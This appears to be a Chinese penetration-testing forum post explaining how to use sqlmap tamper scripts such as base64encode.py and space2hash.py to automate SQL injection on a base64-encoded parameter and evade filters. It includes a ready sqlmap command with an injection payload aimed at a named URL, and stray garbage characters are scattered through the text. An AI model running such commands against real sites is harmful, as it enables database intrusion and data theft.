| WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?: ?2 @" C2 s$ g9 { sqlmap的tamper里有个base64encode.py 使用如下 sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs0 y" X# d/ @( n4 i. O% r " N' J; D9 V0 e+ Y! T8 i & o2 i N* T0 ^! `, ?9 m7 c sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称” " p1 ~* ? V$ R Q { 其中常用到的bypass脚本绕过SQLMAP主要两个脚本: & V& ?( B' e/ Y2 Y space2hash.py ,对于MYSQL数据库 4.0, 5.0注入 space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入 首先确定目标数据库版本,然后选择相应的脚本。 -v 3 --batch --tamper "space2hash.py" 还有其他一些插件:: V; L. U2 g+ @- s encodes编码 ——charencode.py base64编码 —— base64encode.py 替换空格和关键字 —— halfversionedmorekeywords.py$ i ^; ^: @) {0 Z3 U" w$ e |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |